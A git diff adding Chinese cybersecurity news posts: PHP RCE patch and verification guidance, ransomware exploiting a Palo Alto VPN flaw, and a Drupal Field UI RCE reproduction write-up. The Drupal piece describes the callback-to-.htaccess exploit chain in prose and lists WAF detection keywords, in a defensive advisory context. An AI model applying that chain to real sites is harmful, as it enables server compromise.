官方公告确认受影响与修复版本，再通过可信渠道升级。升级后重启 Apache、PHP-FPM 和常驻 PHP 进程；容器需要重新构建并发布镜像。最后从真实业务入口核验正在运行的版本，并回看升级前后的日志。 + +**不要做的事：** +不要在生产环境运行来源不明的利用脚本；不要只凭命令行 PHP 版本宣布修复完成；不要把 WAF 通用规则视作补丁。 +## 写在最后 + +应急时最重要的三个问题是：**我们是否受影响？哪些系统最危险？多久能完成修复？** +漏洞细节还在更新，但资产清单、升级窗口和日志监控现在就能完成。 + +资料来源：PHP 安全团队公告 https://news-web.php.net/php.announce/509；CERT-EU 安全通报 https://cert.europa.eu/publications/security-advisories/2026-018/；watchTowr 跟踪页 https://watchtowr.com/intelligence/php-cve-2026-109618-faq/ 。本文按北京时间 2026 年 10 月 21 日公开信息整理，修复版本请以 PHP 官方后续公告为准。 + diff --git a/doc/2026-10/VPN漏洞遭勒索软件大规模利用，Palo Alto警告多家客户被入侵.md b/doc/2026-10/VPN漏洞遭勒索软件大规模利用，Palo Alto警告多家客户被入侵.md new file mode 100644 index 00000000..1f6ae249 --- /dev/null +++ b/doc/2026-10/VPN漏洞遭勒索软件大规模利用，Palo Alto警告多家客户被入侵.md @@ -0,0 +1,103 @@ +# VPN漏洞遭勒索软件大规模利用，Palo Alto警告多家客户被入侵 +安全内参编译 + 安全内参编译 安全内参 2026-10-21 10:04 + +**关注我们** + + +**带你读懂网络安全** + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FzZb53e8g7sCJ9An5FeDcUKJA1xL2QdPJVK970AnWEKrIdG8dHcGVicLOBLzrSsIHpxZ6rWB8N1cV3ibV4iauyvsw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=0 "") + + +多家安全公司监测发现，多个威胁行为者正利用Palo Alto公司VPN产品的一个高危漏洞发起攻击，未来数月这一情况可能更加猖獗； + + +Palo Alto威胁情报团队也表示，发现小部分VPN产品遭到未授权连接，教育、金融、医卫等11个行业的组织受到影响，有攻击者进入内网后开始攻击虚拟化设施，官方建议尽快排查修复。 + + +前情回顾·**安全产品漏洞利用态势** +- [警惕！Fortinet防火墙漏洞遭勒索软件利用，多家企业被黑](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514014&idx=1&sn=940df55ce8c872acd2dc9639c8eef32a&scene=21#wechat_redirect) + + +- [Palo Alto防火墙又被黑：最新漏洞披露后第二天就遭利用](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247513752&idx=1&sn=39cc6a0e87b2d70d65cdc8731d42f1e2&scene=21#wechat_redirect) + + +- [警惕！近期Fortinet防火墙频遭攻击，疑似零日漏洞被利用](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247513504&idx=1&sn=838af406a4e2aec5e99b37399b5f1a2e&scene=21#wechat_redirect) + + +- [2024年至少75个零日漏洞遭滥用，网络与安全产品占比近三成](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514283&idx=1&sn=681c71445b5cfa5f0ab2fde668d4fef8&scene=21#wechat_redirect) + + + + +安全内参10月21日消息，网安巨头派拓网络（Palo Alto Networks）的研究人员警告，旗下GlobalProtect产品的漏洞披露数月后，勒索软件团伙正在加大利用力度。 + +该漏洞编号为CVE-2026-0257，属于身份验证绕过漏洞。攻击者利用这一漏洞，就能在未经授权的情况下与该远程访问产品建立VPN连接。该漏洞的严重性评分为7.8分（满分10分）。 + + +多个勒索软件团伙持续利用该漏洞， + + +逐步成为标配手段 + + + +10月9日，网络安全公司ReliaQuest的研究人员在X平台发文称，他们发现多个威胁团伙利用该漏洞发动攻击，其中包括Qilin和Settra勒索软件团伙。攻击者借此建立未经授权的VPN会话，进入目标组织的内部网络，获得初始访问权限。 + +ReliaQuest副总裁Brandon Tirado表示：“漏洞披露约五个月后，它已经成为勒索软件团伙入侵网络的一条可靠路径。未来三个月，这种情况很可能会持续下去，因为会有更多团伙和初始访问权限经纪人开始利用这一漏洞。” + +ReliaQuest还警告称，相关攻击来自内部VPN连接，行为可能与合法的远程访问会话难以区分，因此容易逃过检测。在安全团队发现异常之前，攻击者可能已经窃取凭证、横向移动、窃取数据，甚至部署勒索软件。 + +研究人员还在相关攻击中发现了多种工具，包括Cobalt Strike、BloodHound和SharpHound。 + +网络安全公司Arctic Wolf在一篇博客文章中披露，其研究人员调查了今年6月发生的多起与Qilin勒索软件有关的攻击。这些攻击方式各不相同，有的快速加密受害者数据，有的采用双重勒索手段。这表明，相关活动可能涉及多个Qilin附属团伙，它们在勒索软件即服务（RaaS）模式下运作。 + +Arctic Wolf对手行动部门总监Justin Moore表示：“从攻击时间线来看，攻击者利用漏洞获得访问权限后，可以迅速把这种访问转化为持久的远程访问能力，并直接操控受害系统，最终为部署勒索软件创造条件。” + + +官方公布真实攻击案例， + + +建议相关组织尽快排查 + + + +派拓网络旗下负责威胁情报与事件响应的Unit 42团队发布报告称，研究人员发现，Qilin和INC勒索软件团伙均在利用这一漏洞。 + +![](https://mmbiz.qpic.cn/mmbiz_png/wT9KAyOic0NCUlT3NDdvFLELibYmpOiaVGPMQXic8Hiax1z3tfCsSZfWeGyoEzib0GlMYaHgY32LicNEN1ExVlSwwPUtqiaNIFKY3sr6mB8OEsWFaR4/640?wx_fmt=png&from=appmsg "") + +Unit 42的研究人员自今年6月以来一直在调查相关威胁活动。受影响的目标涉及多个行业，包括教育、金融服务、医疗保健、IT、制造业和政府部门。 + +Unit 42研究人员指出，这些攻击的一个显著特点是，攻击者成功利用漏洞后，会进一步侵入虚拟化基础设施层。在一起案例中，攻击者从已遭入侵的VPN转向VMware vCenter管理设备。 + +研究人员还发现，攻击者关闭了ESXi虚拟机监控程序上的安全控制措施，并使用定制工具，对域控制器的虚拟磁盘进行离线凭证转储，窃取身份验证信息。 + +Unit 42表示，这种手法能帮助攻击者绕过端点检测与响应（EDR）机制，让防御方更难发现和阻止攻击。 + +Unit 42建议，相关组织尽快排查相关资产和攻击指标情报，并处置修复。 + + +**参考资料：bleepingcomputer.com** + + +**推荐阅读** +- [网安智库平台长期招聘兼职研究员](http://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247499450&idx=2&sn=2da3ca2e0b4d4f9f56ea7f7579afc378&chksm=ebfab99adc8d308c3ba6e7a74bd41beadf39f1b0e38a39f7235db4c305c06caa49ff63a0cc1d&scene=21#wechat_redirect) + + +- [欢迎加入“安全内参热点讨论群”](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247501251&idx=1&sn=8b6ebecbe80c1c72317948494f87b489&chksm=ebfa82e3dc8d0bf595d039e75b446e14ab96bf63cf8ffc5d553b58248dde3424fb18e6947440&token=525430415&lang=zh_CN&scene=21#wechat_redirect) + + + + + + + +点击下方卡片关注我们， + +带你一起读懂网络安全 ↓ + + + + diff --git a/doc/2026-10/Weaxor家族勒索新套路：又有0day漏洞现世了！.md b/doc/2026-10/Weaxor家族勒索新套路：又有0day漏洞现世了！.md index 31ab3142..caa47e00 100644 --- a/doc/2026-10/Weaxor家族勒索新套路：又有0day漏洞现世了！.md +++ b/doc/2026-10/Weaxor家族勒索新套路：又有0day漏洞现世了！.md @@ -1,6 +1,6 @@ # Weaxor家族勒索新套路：又有0day漏洞现世了！ MSSP运营团队 - MSSP运营团队 电信云堤 2026-10-21 08:53 + MSSP运营团队 中国电信安全 2026-10-21 08:55 ![图片](https://mmbiz.qpic.cn/mmbiz_gif/Dh3fqSPAOWekCSIf3ffuFuiaBPl4BSArBsDhFEMSOTbeIfb7mdz4D0mDExZesv4PPicUdsOTxfRUx8QntAMTmTBA/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=0 "") @@ -172,15 +172,15 @@ Authorization字段内容编码后进行复现，确认可 **推荐阅读** -[](https://mp.weixin.qq.com/s?__biz=Mzk2NDIzNTYwOA==&mid=2247490637&idx=1&sn=bec99105c68ff398fe70c204cf67cb36&scene=21#wechat_redirect) +[](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247540484&idx=1&sn=ddc4dcc013860b24f628b0c01433b059&scene=21#wechat_redirect) -[警惕！Sorry勒索病毒来袭！](https://mp.weixin.qq.com/s?__biz=Mzk2NDIzNTYwOA==&mid=2247490637&idx=1&sn=bec99105c68ff398fe70c204cf67cb36&scene=21#wechat_redirect) +[警惕！Sorry勒索病毒来袭！](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247540484&idx=1&sn=ddc4dcc013860b24f628b0c01433b059&scene=21#wechat_redirect) -[](https://mp.weixin.qq.com/s?__biz=Mzk2NDIzNTYwOA==&mid=2247490549&idx=1&sn=c0547b2f3a6923c94add91ee1f200482&scene=21#wechat_redirect) +[](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247535924&idx=1&sn=6fb1cc1ee15c4e163ede7fc4914209e6&scene=21#wechat_redirect) -**“我怎么中毒了？”——MSSP主动服务+AI预警，一次跑赢勒索攻击的防护实践** +**独家洞察｜Mallox勒索团伙疑似继续利用产品漏洞攻击投毒国内数百个资产** ![](https://mmbiz.qpic.cn/sz_mmbiz_gif/z7xPqlc0GbBZdrnibkon0HxogO9iazwQy5cqsw6fRdkPujrZZCuVnk7ywgyYA7yTfRIIkEXpdpDfQlkFMENO9P0Q/640?wx_fmt=gif&from=appmsg "") diff --git a/doc/2026-10/【PHP RCE补丁发布】官方：没有完全的缓解方法，更新是唯一安全的选择！请速速更新！.md b/doc/2026-10/【PHP RCE补丁发布】官方：没有完全的缓解方法，更新是唯一安全的选择！请速速更新！.md new file mode 100644 index 00000000..c0345f9a --- /dev/null +++ b/doc/2026-10/【PHP RCE补丁发布】官方：没有完全的缓解方法，更新是唯一安全的选择！请速速更新！.md @@ -0,0 +1,36 @@ +# 【PHP RCE补丁发布】官方：没有完全的缓解方法，更新是唯一安全的选择！请速速更新！ +xiachuchunmo + xiachuchunmo 银遁安全团队 2026-10-21 14:50 + +PHP官网更新通知： +没有完全的缓解方法，更新是唯一安全的选择 +请速速更新！ +``` +https://www.php.net/index.php#2026-10-20-1 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/14zTrTiaCfEUaEYgERNSS0vfC83poYmCr0XtwrI5mlQib9hG1DYgQ872QJ0jkFbVHnMoPBKBtdJqqLwiadbEd0iaU5JDk3NuUyaxCqJ6Mv3RObM/640?wx_fmt=png&from=appmsg "") + + +欧洲多国政府网站大规模下线！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/14zTrTiaCfEX6roaHDAMMaYonD15sDQPkQfak7Bicay2FeCR72TkQHIvMIt9C4wWz1dKRuoc9ic3I804pWY7iaVepTZER7Vt6c9Cu1999BiaPoY8/640?wx_fmt=png&from=appmsg "") + +高市早苗也是安全圈的？ + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/14zTrTiaCfEVQfO2XIWc8lh0PpVm3X4NB4c5jZoQ8FYicKapjAcviaYA1cSkVq5o81O7cYnGjtZ0SQzb0RR7equPiao4CibTCicFl3aoIRMoBUouQ/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/14zTrTiaCfEXTMX7xUS2tH6UDIGo01JXpVDfgrnCibic2XPG2UzU62lZMqqlXdMDpoecb8mlRr4KSicIYPfLXmrAMoEXXOGKVc9pIbgVA8KDyM8/640?wx_fmt=png&from=appmsg "") + + + +真的没招了！ + +![](https://mmbiz.qpic.cn/mmbiz_png/14zTrTiaCfEVnicyp7ibkucPB6Oz3QNJ7FAwlvFSQfvKh1NKpVCoBOlAZEmWwMNd3IG325uYV8VrSicETqnnZqWlhmuPObxC5tziczwsBdoIu9nw/640?wx_fmt=png&from=appmsg "") + + +Nginx也来？ + +![](https://mmbiz.qpic.cn/mmbiz_png/14zTrTiaCfEUFOv0PTdiaHanJ3rjCNoUSIbAgEFbfvqBOdibbDGquyLN7QZ2QTNqThr8vUlUzjyJscib9qasvQJ5fjiadicBEUbySNU29bmMHMJwk/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2026-10/【修复指南】PHP双RCE补丁已发布：怎么升级，怎样确认真正修好.md b/doc/2026-10/【修复指南】PHP双RCE补丁已发布：怎么升级，怎样确认真正修好.md new file mode 100644 index 00000000..6e49184d --- /dev/null +++ b/doc/2026-10/【修复指南】PHP双RCE补丁已发布：怎么升级，怎样确认真正修好.md @@ -0,0 +1,120 @@ +# 【修复指南】PHP双RCE补丁已发布：怎么升级，怎样确认真正修好 +Yu + Yu TJXFire 2026-10-21 14:44 + +全文约 2100 字，预计阅读 7 分钟。 + +PHP已发布修复CVE-2026-109618、CVE-2026-109619的安全版本，政企单位应从提前排查转入升级、验证与整改闭环。本文说明不同部署如何处理、临时措施有哪些局限，以及怎样验收，避免软件包更新了，网站却仍在使用旧运行时。 + +一、补丁到了，先核对正确的修复依据 + +PHP官方已确认两项漏洞可导致未认证远程代码执行，并发布以下安全版本。[1] +
使用分支
上游首个修复版本
PHP 8.2
8.2.35
PHP 8.3
8.3.36
PHP 8.4
8.4.27
PHP 8.5
8.5.12
+以上是各分支的首个修复版本。使用上游发行包的，应更新到对应修复版或经确认包含修复的后续版本；由发行版或商业维护方供包的，则按供应商安全公告核对。 + +**不能只看版本数字大小来判断是否修复。** + +例如，Ubuntu的USN-8948-1公告已列出修复这两个CVE的软件包：Ubuntu 24.04 LTS的PHP 8.3包为8.3.6-0ubuntu0.24.04.13 +；Ubuntu 22.04 LTS的PHP 8.1包为8.1.2-1ubuntu2.28 +。这些是特定发行版的修复包，不能移作其他系统的安全版本。[4] + +因此，扫描工具仅凭“8.3.6低于8.3.36”报警时，需要结合完整软件包版本及公告复核；也不能仅凭“供应商会维护”就直接关闭工单。 + +二、哪些系统先处理 + +PHP官方要求所有处理Web请求的PHP部署关注此次风险，包括PHP-FPM、Apache mod_php、php-cgi、FrankenPHP和LiteSpeed，并认为mod_php风险最高。[1] + +安全团队可按以下顺序组织排查：先处理公网可达且未修补的实例，再覆盖其他业务、测试环境及厂商内嵌组件。**公网mod_php部署应优先核实和安排变更** +，但不能据此将其他部署标为“不受影响”。 + +资产清单应同时记录业务入口、主机或容器、PHP部署方式、完整版本、软件包来源、业务负责人和运维责任人。**网站由第三方建设或托管的，也要落实到具体维护方。** + +两个漏洞的根因已经公开：109618涉及内存耗尽后的异常处理及无效状态使用；109619涉及工作进程复用时访问先前请求遗留的失效状态。[2][3] + +对政企管理者，关键是不要用“业务代码没改过”“后台要登录”来代替运行时核查。应用正常访问，也不能作为漏洞不存在的证据。 + +三、按部署方式升级，别只更新一个PHP + +以下为建议实施流程，具体服务名称、升级方式及维护窗口应由本单位运维人员或供应商确认。 + +**操作系统软件包部署。** + 核实包来源和对应安全公告，备份配置及业务数据，在维护窗口更新实际使用的PHP运行时与相关组件。**不要仅安装CLI包便认定Web服务已修复** +；升级后按供应商要求重启或重载，并**确认旧工作进程已退出** +。 + +**面板或多版本部署。** + 逐站核对绑定的PHP版本。面板默认版本变更，不代表所有站点同步切换；同机多个PHP-FPM池、独立站点配置和历史安装目录都要检查。先选择可控实例验证，再分批推进。 + +**容器部署。** + 使用包含修复的可信基础镜像重新构建应用镜像，完成测试后替换运行实例。Docker文档说明，镜像是构建时的快照，需要定期重建获取更新，构建时可用--pull +获取较新的基础镜像。[5] + +建议记录镜像摘要和运行实例标识，**确认所有副本都已替换** +；同时更新部署模板，防止扩容或重新部署时再次使用旧镜像。只拉取新镜像、只修改标签，都不能作为运行实例已升级的验收证据。 + +**托管或厂商软件。****要求服务方书面提供受影响判断、两个CVE的修复依据、实施范围及生效记录。** +不要自行替换封装产品里的PHP文件，以免破坏依赖或失去供应商支持。 + +四、老版本怎么办，暂时不能升级怎么办 + +对于已经停止上游维护的分支，应优先评估迁移或由维护供应商提供回移补丁。PHP此次也提供了7.4、8.0、8.1的最小源码回移分支，供有源码构建能力或缺少LTS支持的使用者参考；这不等于旧分支恢复正常维护。[1] + +不要把自行编译回移补丁作为所有政企单位的默认操作。涉及商业系统、扩展兼容和业务可用性时，应由具备能力的维护团队负责构建、测试及后续更新。 + +**临时配置只能减少部分攻击路径，不能替代完整升级。** + +109619的官方公告列出了针对特定路径的缓解，例如在请求解析前生效的配置中关闭session.upload_progress.enabled +，并重启全部工作进程；PHP 8.5还涉及fatal_error_backtraces +配置。但这些措施都不能覆盖全部变体，运行中用ini_set() +调整也不能替代相应的前置配置。[3] + +109618的临时措施涉及内存失败路径、请求大小及资源边界，应结合其完整公告和实际部署评估。[2] 不建议脱离配套资源限制，直接把取消PHP内存限制的参数复制到生产环境；这可能引入可用性问题。 + +确实无法及时修补的，由业务和安全负责人共同确认限制来源、缩小暴露面或暂时隔离的范围，**同时记录补丁计划、责任人和剩余风险。** +已有WAF规则、关闭某个功能或隐藏错误提示，都不能直接作为“两个漏洞已修复”的证明。 + +五、升级完成后，至少验收四件事 + +**第一，修复依据匹配。** + 记录系统分支、完整包版本或镜像摘要，以及明确覆盖两个CVE的官方或供应商公告。不能把另一分支、另一发行版的包号拿来验收。 + +**第二，实际Web运行时生效。** + PHP文档中的php -v +、php --ini +可用于本机只读检查，但它们反映的是当前命令所调用的PHP及配置。[6] 建议结合服务配置和受控检查核对实际Web运行时，逐节点确认，**不把CLI输出当作整站证明** +。 + +不要为方便验收而长期向公网开放phpinfo() +页面。需要临时诊断时，应控制访问范围，并在完成后删除。 + +**第三，关键业务可用。** + 用本单位正常业务用例验证登录、查询、提交、上传和接口调用等功能，观察错误率与资源使用。无需在生产系统上运行来源不明的EXP来证明“补丁成功”。 + +**第四，异常排查有记录。** + 检查暴露期间是否出现Web进程异常子进程、非预期脚本、可疑外联和账号或计划任务变更。它们是通用入侵线索，不是本次漏洞的专属指纹；发现异常后另立处置工单，保留日志及时间线。 + +**补丁阻止后续利用，不负责清除已经存在的入侵痕迹。** + +六、可直接转给运维商的整改要求 + +请逐项回复： +1. 本单位哪些主机、站点、容器及代管系统运行PHP，哪些尚未核实； + +1. 每个实例的部署方式、升级前后完整版本，以及覆盖两个CVE的修复依据； + +1. 实施时间、执行人、工作进程或实例替换记录，以及业务回归结果； + +1. **尚未修复实例的限制措施、责任人和明确完成时间** +； + +1. **暴露期间异常排查的范围、结果及日志留存情况** +。 + +建议采购人或业务责任人核对实例清单，运维方提交实施证据，安全人员复核修复依据和遗留风险。把“已通知供应商”“已安排升级”和“已验证修复”分别记录，避免工单状态掩盖实际进度。 + +**验收落到每一个实际服务实例，才能说明修复范围。** + +信息来源与核验方式 [1] PHP官方安全公告及修复版本：https://www.php.net/archive/2026.php#2026-10-21-5 [2] PHP官方公告，RCE via OOM corruption：https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w [3] PHP官方公告，RCE via stale global state：https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp [4] Ubuntu USN-8948-1：https://ubuntu.com/security/notices/USN-8948-1 [5] Docker镜像构建最佳实践：https://docs.docker.com/build/building/best-practices/ [6] PHP命令行选项手册：https://www.php.net/manual/en/features.commandline.options.php 核验截至2026年10月21日22:40（北京时间）。漏洞机制、修复版本及缓解边界来自官方公告，发行版包号来自其安全通知；分批实施、责任分工、验收清单及异常排查为本文建议。本文未进行利用复现，不以官方利用演示推导全球在野攻击规模。后续版本及供应商修复状态可能变化，实施前请复核。 + +安全通告 · 核验截至 2026年10月21日22:40（北京时间） · 版本以官方及供应商公告为准 + diff --git a/doc/2026-10/【免费领】全网收录最全：Web漏洞检测及修复方案手册.md b/doc/2026-10/【免费领】全网收录最全：Web漏洞检测及修复方案手册.md new file mode 100644 index 00000000..6f28f314 --- /dev/null +++ b/doc/2026-10/【免费领】全网收录最全：Web漏洞检测及修复方案手册.md @@ -0,0 +1,76 @@ +# 【免费领】全网收录最全：Web漏洞检测及修复方案手册 + 蚁景网络安全 2026-10-21 09:35 + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjRNXHaZHEfrMNCcDian3sGpzQd8HYquBhOibiaglQNQ9jL6QVibtefLCHNvymxAu0ZGKjnGf4x2hBLFA/640?wx_fmt=png "") + +点击蓝字/关注我们 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDu5LeMykBibiaorwCvYEX2sxq5lVYw4iaddx0qYlbQ6fAyXd22dcFOiads8w/640?wx_fmt=gif "") + +今日福利 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDuYRDXO8rZ2DX4p68v8aWfzp0XSlDyFJvENtj4DwOjoB5CaZVMPnfFYQ/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjCWWfEAMTVhqG1TTmGEa5zMEBiaFsItnHPOjffujavOef7dtibvyEhhouaTnYVlkflf6tQQq5qB47w/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +网安学习从业必备工具书 + +收录最全的Web漏洞检测及修复手册 + +覆盖众多类型漏洞，提供大量案例方法 + +限时福利，请及时领取哦 ~ + + +**该资料内容较多，以下为节选的部分目录：** + + +![](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9Lf0f3xicps1kTbdLibf2oQd8y8PImom7R0oHrgQUyAIias4xyQqSx68SJ4icR3bu11DRCibhq0QtTNk1yA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9Lf0f3xicps1kTbdLibf2oQd8yCXUrsLNZw8oYHENvPdAJPbicsdic8QsTKkZmQ18ICicL1j4qn2TwjiaJXw/640?wx_fmt=png "") + + + +长 +按识别下方二维码 +， +回复 +**“1021”** +， +**免费领取** +~ + +（限7日内领取） + +【 +请注意： +不要直接 +回复 +公众号 +哦 +~ +】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/3RhuVysG9Lfk8vprdHr8d5Kvic1v77CuKhibz3zlmyVatcKQzHHlvZp0eE3j6s4VRYd8MroZgibLKU86xL2xtsS8A/640?wx_fmt=jpeg "") + + + +**免责声明** + +所有资料均来源于网络分享，仅限用于个人学习交流，禁止任何违法操作和非法用途！由使用者产生的任何责任，与作者和本平台无关！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiahvZwg4p30ZibNicibicyjWVSSlbib1QzuW7zoUMtJArLq3MwATvaEGyBeajm0Dk1uqJOibmmvcJnLoqOQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXe3FC0ic4IiasRfVm2e6Y06ZYvUv5KyVBnEmtvOyDUyn7m5PIrgwtE7Rcw/640?wx_fmt=gif "") + +点击“ +阅读原文 +”，获取更多学习资源！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXeN0SibqAMiaSjibKI7jkge8o1AO1o0QkialLs59Bxa8iaY7yibBicue54dVEdw/640?wx_fmt=png "") + + diff --git a/doc/2026-10/【复现】Drupal Core Field UI远程代码执行漏洞（CVE-2026-108097）.md b/doc/2026-10/【复现】Drupal Core Field UI远程代码执行漏洞（CVE-2026-108097）.md new file mode 100644 index 00000000..13bb8e97 --- /dev/null +++ b/doc/2026-10/【复现】Drupal Core Field UI远程代码执行漏洞（CVE-2026-108097）.md @@ -0,0 +1,108 @@ +# 【复现】Drupal Core Field UI远程代码执行漏洞（CVE-2026-108097） +启明星辰 + 启明星辰 ADLab 2026-10-21 09:57 + +更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站（adlab.venustech.com.cn） + + +Drupal是全球使用广泛的开源内容管理系统（CMS），由Drupal社区维护，广泛用于企业门户、媒体与电商平台，全球互联网上存在上百万个Drupal站点。Drupal通过模块扩展功能，核心Field UI模块为内容类型与实体显示模式提供字段管理界面；站点默认安装依赖PEAR组件。 + +近日，Drupal官方发布安全更新，推出Drupal Core 10.6.19、11.3.19、11.4.10及12.0.0-beta2安全版本，修复了Drupal Field UI远程代码执行漏洞（CVE-2026-108097）。 +该漏洞 +CVSS 3.1评分高达9.8分（Critical）。 + +根据FOFA查询数据，截至2026年10月21日，互联网上存在1,700,169 个潜在的易受攻击Drupal实例。由于概念验证漏洞利用程序已经发布，并且该漏洞已在互联网上广泛传播，因此对于使用Drupal的组织或个人而言，该漏洞构成了直接且严重的风险。 +- ## 影响范围 + +- 8.9.0 <= Drupal < 10.6.19 + +- 11.0.0 <= Drupal < 11.3.19 + +- 11.4.0 <= Drupal < 11.4.10 + +- 12.0.0-alpha1 <= Drupal < 12.0.0-beta2 + +- ## 漏洞描述 + +在Drupal Core的Field UI模块中，表格渲染时会从行数据中取出回调函数名并直接执行，且未对回调进行任何校验。Drupal核心自身把该值固定绑定到自身的回调方法、不接收请求数据，因此该漏洞的可利用性取决于站点是否安装了把请求数据写入表格行数据的贡献模块或自定义代码：在满足这一前提的站点上，攻击者可让服务器执行任意回调，并借助Drupal默认安装的PEAR文件组件读取、写入或删除Web服务用户有权限的文件，替换公共文件目录的安全配置，最终在站点上执行任意系统命令；在此前提下，整个利用过程无需账号认证与管理员交互，可导致站点完全失陷。未安装此类模块的纯核心站点不具备该利用条件。 +- ## 漏洞原理 + +该漏洞源于Drupal表格渲染流程对行回调的处理方式：表格在渲染前会执行行数据中携带的回调函数名，而不做任何校验，凡是能影响行数据的模块或代码都能决定执行内容。 + +在具备该执行条件后，攻击者可借助Drupal默认包含的文件组件完成Web服务用户有权限的文件的读写与删除，并替换公共文件目录的安全配置，使写入的PHP文件被服务器执行，最终形成远程代码执行；官方修复版本已删除该动态回调执行逻辑。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/d1YpVG2tPVqgG99lUwOuhBHL6OSz7SlfTtIHtIefDWMr70YFuz1wyCsgWf4QWn89icIicdb3hJtF1fbWaiapBDFQepBBsjPwSNmVvY7sW3pSp4/640?wx_fmt=jpeg "") + +整体上，该漏洞需要站点安装存在相关缺陷的贡献模块或自定义代码，但一旦满足条件，攻击者无需认证即可在服务器上执行任意命令，导致站点完全失陷，属于需要优先处置的高危漏洞。本次复现使用了一个仅用于实验、标注清楚的writer模块来模拟公告中未点名的贡献模块写入点，核心缺陷代码、PEAR组件与 .htaccess 配置均为官方原版。 + +上图为核心缺陷代码（Drupal 11.x FieldUiTable.php 第 72 行）：表格渲染前把行数据中的[#region]() + +_callback作为PHP可调用对象直接执行，且未做任何校验，这是整条利用链的起点。 +- ## 漏洞复现 + +搭建Drupal漏洞环境，一键运行自动化脚本，回显系统命令执行结果，证明漏洞验证成功。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/d1YpVG2tPVo1ysuQb8oOgZeVED7ibukwyne3SF1roGjnENAzuz5rwNFYPqkwbWCTQuhATkUnFd2oWrXQWD6eJBIHSSbNjubcyRicJBdnROaeo/640?wx_fmt=jpeg "") +- ## 安全建议 + +（1）官方安全更新（推荐） + +Drupal官方已发布修复版本，建议相关用户立即升级：Drupal 11.4.x 升级至11.4.10，11.3.x 升级至11.3.19，10.6.x升级至10.6.19，12.0.0-alpha/beta 升级至12.0.0-beta2 或更高版本； +Drupal  +11.2.x及以下与10.5.x 及以下已停止维护，不再提供安全更新。 + +（ +2） +临时缓解措施 +- 若站点不需要字段管理功能，可直接卸载核心Field UI模块（drush pm:uninstall field_ui），该模块被卸载后漏洞功能不可达，可作为升级前的临时防护。 + +- 限制/admin/structure及Field UI相关路由的访问来源，仅允许可信管理网络访问；在WAF或反向代理层对含有region_callback、call_user_func_array等异常参数以及指向sites/default/files的可疑请求进行检测与拦截。 + +（ +3） +安全加固 +- 将Drupal管理后台与业务访问进行网络隔离，仅允许堡垒机、VPN或指定运维网段访问管理路由；对站点开启Drupal安全公告邮件订阅，及时跟进core安全更新。 + +- 对公共文件目录进行完整性监控，监测files/.htaccess的内容变化以及files目录下新增的.php文件；出现构造的RewriteEngine On + php_flag engine on配置文件应立即按入侵事件处置。 + +##   + + +**参考链接：** + +[1]  +https://www.drupal.org/sa-core-2026-014 + +[2]  +https://fortbridge.co.uk/research/cve-2026-108097-deep-dive-turning-a-drupal-field-ui-callback-into-rce/ + + + + + +启明星辰积极防御实验室（ADLab） + + + + + + +ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员， +“黑雀攻击”概 +念首推者。截至目前，ADLab已通过 CNVD/CNNVD/NVDB/CVE累计发布安全漏洞7000余个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖基础安全研究、电信 +运营商基础设施安全研究 +、 +移动终端安全研究、云安全研究、 +信创安全研究、 +物联网安全研究、 +车联网安全研究、工控安全研究、 +数据安全研究、5G安全研究、 +AI安全研究、卫星安全研究、 +低空安全研究 +、高级威胁研究、攻防体系建设。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。 + + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/VuRGkncX57ONOtW3DSPMEXiaLPqrs8a20KxsFg78IaJzyEf51AIjLGNkDG5tsCH76Qo7PoVz74JGQqKJbCh5PdQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=2 "") + diff --git a/doc/2026-10/【安全圈】0dayPoC公布！FortiSIEM遭空字节截断实现免认证RCE.md b/doc/2026-10/【安全圈】0dayPoC公布！FortiSIEM遭空字节截断实现免认证RCE.md new file mode 100644 index 00000000..773afb5b --- /dev/null +++ 